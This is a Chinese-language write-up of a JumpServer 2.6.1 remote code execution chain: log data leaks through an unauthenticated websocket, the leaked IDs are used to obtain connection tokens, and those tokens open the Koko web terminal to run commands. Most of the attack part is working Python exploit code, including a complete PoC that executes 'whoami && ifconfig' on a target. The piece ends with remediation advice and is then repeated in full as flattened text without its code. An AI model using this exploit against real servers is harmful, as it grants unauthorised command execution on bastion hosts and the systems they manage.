jumpserver远程代码执行漏洞分析
字数 909 2025-08-18 11:35:59

JumpServer远程代码执行漏洞分析与利用

漏洞概述

本漏洞存在于JumpServer开源堡垒机系统中,涉及未授权访问和远程代码执行风险。漏洞组合利用了WebSocket未授权访问和认证令牌生成机制缺陷,最终可导致攻击者在目标系统上执行任意命令。

环境搭建

  1. 下载JumpServer V2.6.1安装包:

    • 安装脚本:https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip
    • 安装时注意选择"no"选项
  2. 安装完成后启动服务:

    cd /opt/jumpserver-installer-v2.6.1/
    ./jms start
    
  3. 访问Web界面:

    • 默认账号:admin/admin
    • 首次登录后需修改密码
  4. 添加测试主机并配置Web终端

漏洞分析

1. 未授权WebSocket访问

漏洞点位于apps/ops/ws.py中的CeleryLogWebsocket类,该WebSocket端点未进行身份验证:

class CeleryLogWebsocket(JsonWebsocketConsumer):
    disconnected = False
    
    def connect(self):
        self.accept()

攻击者可直接连接此WebSocket端点获取日志信息。

2. 敏感信息泄露

通过未授权WebSocket可获取jumpserver.log中的敏感信息,包括:

  • 用户ID
  • 用户名
  • 资产ID
  • 主机名
  • 系统用户ID

示例日志格式:

{
    "user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c",
    "username": "test2",
    "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
    "hostname": "192.168.1.73",
    "system_user": "79655e4e-1741-46af-a793-fff394540a52"
}

3. 认证令牌生成机制

认证API位于/api/v1/authentication/connection-token/,代码逻辑如下:

class UserConnectionTokenApi(RootOrgViewMixin, APIView):
    def post(self, request):
        user_id = request.data.get('user', '')
        asset_id = request.data.get('asset', '')
        system_user_id = request.data.get('system_user', '')
        token = str(uuid.uuid4())
        user = get_object_or_404(User, id=user_id)
        asset = get_object_or_404(Asset, id=asset_id)
        system_user = get_object_or_404(SystemUser, id=system_user_id)
        value = {
            'user': user_id,
            'username': user.username,
            'asset': asset_id,
            'hostname': asset.hostname,
            'system_user': system_user_id,
            'system_user_name': system_user.name
        }
        cache.set(token, value, timeout=20)
        return Response({"token": token}, status=201)

4. Koko组件代码执行

后端Koko组件处理WebSocket连接时未充分验证令牌有效性:

func (s *server) processTokenWebsocket(ctx *gin.Context) {
    tokenId, _ := ctx.GetQuery("target_id")
    tokenUser := service.GetTokenAsset(tokenId)
    if tokenUser.UserID == "" {
        logger.Errorf("Token is invalid: %s", tokenId)
        ctx.AbortWithStatus(http.StatusBadRequest)
        return
    }
    // 省略后续处理...
}

漏洞利用步骤

1. 获取认证令牌

使用从日志中提取的信息构造POST请求获取临时令牌:

import requests

data = {
    "user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c",
    "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
    "system_user": "79655e4e-1741-46af-a793-fff394540a52"
}

url = 'http://192.168.1.73:8080/api/v1/users/connection-token/?user-only=1'
response = requests.post(url, json=data).json()
token = response['token']
print(token)

2. 建立WebSocket连接执行命令

使用获取的令牌建立WebSocket连接并执行命令:

import asyncio
import websockets
import json

async def execute_command(token, cmd):
    target = f"ws://192.168.1.73:8080/koko/ws/token/?target_id={token}"
    
    async with websockets.connect(target) as websocket:
        # 接收初始消息获取ID
        recv_text = await websocket.recv()
        resws = json.loads(recv_text)
        ws_id = resws['id']
        
        # 初始化终端
        init_data = {
            "id": ws_id,
            "type": "TERMINAL_INIT",
            "data": "{\"cols\":164, \"rows\":17}"
        }
        await websocket.send(json.dumps(init_data))
        
        # 发送命令
        cmd_data = {
            "id": ws_id,
            "type": "TERMINAL_DATA",
            "data": cmd + "\r\n"
        }
        await websocket.send(json.dumps(cmd_data))
        
        # 接收命令输出
        for _ in range(20):
            output = await websocket.recv()
            print(json.loads(output)['data'])

# 使用示例
token = "获取的令牌"
asyncio.get_event_loop().run_until_complete(execute_command(token, "whoami"))

完整漏洞利用POC

import asyncio
import websockets
import requests
import json

def get_token():
    data = {
        "user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c",
        "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
        "system_user": "79655e4e-1741-46af-a793-fff394540a52"
    }
    url = 'http://192.168.1.73:8080/api/v1/users/connection-token/?user-only=1'
    response = requests.post(url, json=data).json()
    return response['token']

async def exploit(cmd):
    token = get_token()
    print(f"Obtained token: {token}")
    
    target = f"ws://192.168.1.73:8080/koko/ws/token/?target_id={token}"
    
    async with websockets.connect(target) as websocket:
        # 获取会话ID
        recv_text = await websocket.recv()
        resws = json.loads(recv_text)
        ws_id = resws['id']
        
        # 初始化终端
        init_data = {
            "id": ws_id,
            "type": "TERMINAL_INIT",
            "data": "{\"cols\":164, \"rows\":17}"
        }
        await websocket.send(json.dumps(init_data))
        
        # 发送命令
        cmd_data = {
            "id": ws_id,
            "type": "TERMINAL_DATA",
            "data": cmd + "\r\n"
        }
        await websocket.send(json.dumps(cmd_data))
        
        # 接收输出
        for _ in range(20):
            output = await websocket.recv()
            output_data = json.loads(output)
            if 'data' in output_data:
                print(output_data['data'])

# 执行命令示例
asyncio.get_event_loop().run_until_complete(exploit("whoami && ifconfig"))

修复建议

  1. 对所有WebSocket端点实施身份验证
  2. 加强日志中的敏感信息过滤
  3. 令牌生成API增加严格的权限检查
  4. Koko组件应验证令牌的有效性和权限
  5. 更新到JumpServer最新版本

总结

该漏洞利用链展示了从信息泄露到远程代码执行的完整路径,强调了堡垒机系统安全的重要性。通过组合多个看似小的问题,攻击者最终可获得系统控制权,因此系统设计时应实施纵深防御策略。

JumpServer远程代码执行漏洞分析与利用 漏洞概述 本漏洞存在于JumpServer开源堡垒机系统中,涉及未授权访问和远程代码执行风险。漏洞组合利用了WebSocket未授权访问和认证令牌生成机制缺陷,最终可导致攻击者在目标系统上执行任意命令。 环境搭建 下载JumpServer V2.6.1安装包: 安装脚本:https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_ start.zip 安装时注意选择"no"选项 安装完成后启动服务: 访问Web界面: 默认账号:admin/admin 首次登录后需修改密码 添加测试主机并配置Web终端 漏洞分析 1. 未授权WebSocket访问 漏洞点位于 apps/ops/ws.py 中的 CeleryLogWebsocket 类,该WebSocket端点未进行身份验证: 攻击者可直接连接此WebSocket端点获取日志信息。 2. 敏感信息泄露 通过未授权WebSocket可获取 jumpserver.log 中的敏感信息,包括: 用户ID 用户名 资产ID 主机名 系统用户ID 示例日志格式: 3. 认证令牌生成机制 认证API位于 /api/v1/authentication/connection-token/ ,代码逻辑如下: 4. Koko组件代码执行 后端Koko组件处理WebSocket连接时未充分验证令牌有效性: 漏洞利用步骤 1. 获取认证令牌 使用从日志中提取的信息构造POST请求获取临时令牌: 2. 建立WebSocket连接执行命令 使用获取的令牌建立WebSocket连接并执行命令: 完整漏洞利用POC 修复建议 对所有WebSocket端点实施身份验证 加强日志中的敏感信息过滤 令牌生成API增加严格的权限检查 Koko组件应验证令牌的有效性和权限 更新到JumpServer最新版本 总结 该漏洞利用链展示了从信息泄露到远程代码执行的完整路径,强调了堡垒机系统安全的重要性。通过组合多个看似小的问题,攻击者最终可获得系统控制权,因此系统设计时应实施纵深防御策略。